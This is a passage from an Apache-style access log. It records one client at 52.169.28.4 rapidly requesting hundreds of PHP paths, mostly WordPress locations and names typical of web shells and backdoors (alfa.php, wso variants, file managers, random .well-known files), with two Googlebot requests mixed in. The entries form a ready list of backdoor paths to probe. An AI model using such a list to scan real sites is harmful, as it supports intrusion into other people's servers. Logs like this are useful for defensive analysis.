"GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:07 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:08 -0400] "GET /wp-admin/css/file.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:09 -0400] "GET /wp-includes/ID3/2.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:09 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:10 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:11 -0400] "GET /cgi-bin/160263/wsoyanzv3.5enc.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:13 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:14 -0400] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:15 -0400] "GET /wp-includes/PHPMailer/Send.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:15 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:16 -0400] "GET /.well-known/idupkfqa.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:17 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:18 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:18 -0400] "GET /wp-content/uploads/wpr-addons/forms/63490fd7e6.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:19 -0400] "GET /wp-includes/html-api/aj.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:20 -0400] "GET /class.api.php999 HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:21 -0400] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:22 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:22 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:23 -0400] "GET /wp-content/wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:23 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:24 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:25 -0400] "GET /wp-admin/css/colors/ectoplasm/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:26 -0400] "GET /wp-content/plugins/oouxqal/ovacoczfz.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:28 -0400] "GET /wp-includes/Requests/vvEiCw.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:29 -0400] "GET /wp-includes/sitemaps/providers/buy.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:30 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:31 -0400] "GET /wp-admin/astab.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:32 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:33 -0400] "GET /.well-known/fmseuycg.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:34 -0400] "GET /wp-admin/includes/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:34 -0400] "GET /wp-includes/Text/Diff/gethostbyname.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:35 -0400] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:36 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:36 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:37 -0400] "GET /wp-admin/includes/class-wp-dxqJeZ.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:38 -0400] "GET /wp-content/uploads/index1.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:40 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:41 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:43 -0400] "GET /components/ovaxqhsbg.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:44 -0400] "GET /cwuvvcbn.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:45 -0400] "GET /rwvri.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:46 -0400] "GET /.well-known/acme-challenge/jmfi2.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:47 -0400] "GET /templates/beez3/1.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:48 -0400] "GET /wp-includes/images/media/code-text.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:48 -0400] "GET /wp-admin/includes/moon.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:49 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:50 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:50 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:51 -0400] "GET /wp-content/themes/jobok/en.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:52 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:53 -0400] "GET /wp-content/themes/astra/inc/customizer/custom-controls/description/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:54 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:54 -0400] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:55 -0400] "GET /wp-content/plugins/bguoclz/ovaivknnc.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:56 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:57 -0400] "GET /wp/ab.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:57 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:58 -0400] "GET /.well-known/pki-validation/asyaddpi.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:58 -0400] "GET /wp-admin/js/widgets/class.api.php999 HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:56:59 -0400] "GET /tmp/.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:00 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:01 -0400] "GET /wp-includes/class-wp-session-href.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:01 -0400] "GET /wp-includes/js/tinymce/plugins/image/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:02 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:03 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:04 -0400] "GET /wp-admin/maint/01imunify.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:04 -0400] "GET /.well-known/pki-validation/3c2b55bd-fabd-419b-9718-66fbcf89acc5.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:05 -0400] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:06 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:07 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:08 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:08 -0400] "GET /.well-known/hdkmnjbd.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:09 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:10 -0400] "GET /S.php HTTP/1.1" 301 795 "-" "-" 66.249.79.102 - - [22/Apr/2025:08:57:10 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.101 - - [22/Apr/2025:08:57:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 52.169.28.4 - - [22/Apr/2025:08:57:11 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:13 -0400] "GET /wp-includes/goods.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:14 -0400] "GET /OLD-UP-ova.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:16 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:18 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:20 -0400] "GET /wp-includes/blocks/table/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:21 -0400] "GET /.well-known/pki-validation/65d9b536-ce5f-497e-8c82-8ee66c78d293.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:23 -0400] "GET /about/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:24 -0400] "GET /wordpress/wp-content/plugins/HHX6zQm6DLw3Ae6bxM4VOR/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:24 -0400] "GET /wordpress/wp-includes/css/dist/list-reusable-blocks/ovatthttr.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:26 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:28 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:30 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:31 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:32 -0400] "GET /ckgdg.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:33 -0400] "GET /wp-admin/maint/buy.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:34 -0400] "GET /wp-content/themes/seotheme/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:36 -0400] "GET /wp-includes/rest-api/search/about.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:37 -0400] "GET /.wp-db.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:38 -0400] "GET /wp-admin/includes/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:39 -0400] "GET /wp-includes/ID3/custom-file-4-1735114949.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:40 -0400] "GET /storage/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:40 -0400] "GET /wp-content/uploads/SakMaDic.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:41 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:43 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:43 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:44 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:45 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:46 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:47 -0400] "GET /wp-admin/images/license.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:48 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:49 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:51 -0400] "GET /urcudivu.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:52 -0400] "GET /wp-content/plugins/erinyani/gebase.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:54 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:54 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:55 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:56 -0400] "GET /wp-includes/css/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:57 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:57:58 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:01 -0400] "GET /dhemowfu.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:03 -0400] "GET /uploads/683584ibal.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:03 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:05 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:06 -0400] "GET /wp-admin/51axqg6EDPQ.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:07 -0400] "GET /wp-admin/images/a2.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:08 -0400] "GET /wp-content/plugins/dywdsmx/ovailqjzg.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:08 -0400] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:09 -0400] "GET /wp_wol.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:10 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:11 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:12 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:13 -0400] "GET /wp-admin/network/file.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:14 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:15 -0400] "GET /wp-includes/images/crystal/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:15 -0400] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:16 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:17 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:18 -0400] "GET /wp-content/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:20 -0400] "GET /wp-includes/Requests/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:20 -0400] "GET /wp-content/uploads/id.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:21 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:22 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:22 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:23 -0400] "GET /wp-admin/images/wp-ksv1i.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:24 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:25 -0400] "GET /wp-includes/css/page.template.1735117956.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:27 -0400] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:28 -0400] "GET /css/kraoqapd.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:30 -0400] "GET /sbijnocj.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:31 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:32 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:34 -0400] "GET /wp-content/uploads/wpr-addons/forms/about.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:35 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:36 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:37 -0400] "GET /wp-admin/js/a2.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:38 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:38 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:39 -0400] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:40 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:41 -0400] "GET /wp-admin/css/daren.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:42 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:43 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/Ge/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:43 -0400] "GET /wp-admin/includes/zipp.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:44 -0400] "GET /wp-content/uploads/showupload.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:45 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:45 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:46 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:48 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/ovakvbycd.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:48 -0400] "GET /wp-admin/includes/class_api.php999 HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:49 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:50 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:51 -0400] "GET /1rbxb768.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:52 -0400] "GET /he.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:52 -0400] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:53 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:54 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:56 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:57 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:58 -0400] "GET /wp-admin/js/widgets/jLFgZjjsqs.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:58:59 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:00 -0400] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:01 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:02 -0400] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:03 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:04 -0400] "GET /wp-includes/yes.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:04 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:05 -0400] "GET /wp-content/termps.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:06 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:07 -0400] "GET /epdwm.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:07 -0400] "GET /wp-content/plugins/woocommerce/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:08 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:09 -0400] "GET /wp-includes/Text/Diff/Renderer/eqw5de.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:09 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:11 -0400] "GET /.well-known/acme-challenge/tiny.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:12 -0400] "GET /assets/images/206d2bdfbd.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:12 -0400] "GET /cvawk.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:13 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:14 -0400] "GET /wp-admin/js/widgets/text-widgets.min.js.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:14 -0400] "GET /wp-includes/1671b870622bf3admin.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:15 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:16 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:17 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:17 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:18 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:19 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:20 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:22 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:23 -0400] "GET /wp-includes/Requests/library/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:24 -0400] "GET /.well-known/siuqzorv.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:25 -0400] "GET /wp-admin/css/colors/coffee/css.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:25 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:26 -0400] "GET /.well-known/pki-validation/ahzjhofz.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:27 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:28 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:28 -0400] "GET /wp-admin/js/widgets/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:29 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:29 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.28.4 - - [22/Apr/2025:08:59:30 -0400] "GET /bb.php HTTP/1.1" 301 